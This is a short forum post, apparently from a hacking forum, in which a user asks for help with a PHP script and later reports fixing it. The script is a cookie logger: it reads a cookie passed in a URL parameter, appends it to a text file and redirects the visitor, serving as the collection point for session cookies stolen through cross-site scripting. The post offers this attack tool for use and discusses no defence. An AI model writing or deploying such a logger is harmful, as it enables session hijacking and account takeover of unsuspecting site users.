1 Having troubles with this code.. Tue Nov 08, 2011 5:35 am
preset
Fresh Meat
- Code:
<?php
$cookie = $HTTP_GET_VARS["insert cookie here"];
$ip = getenv ('REMOTE_ADDR');
$file = fopen('inserfilenamehere.txt', 'a');
fwrite($file, $cookie . "\n\n");
header ("Location: /index.php"); //<-------After it redirects to another page.
?>
Not sure if I'm doing something wrong or not?
The code doesn't work..?
Help would be appreciated..
_update
Never mind, I wasn't implementing the $file correctly.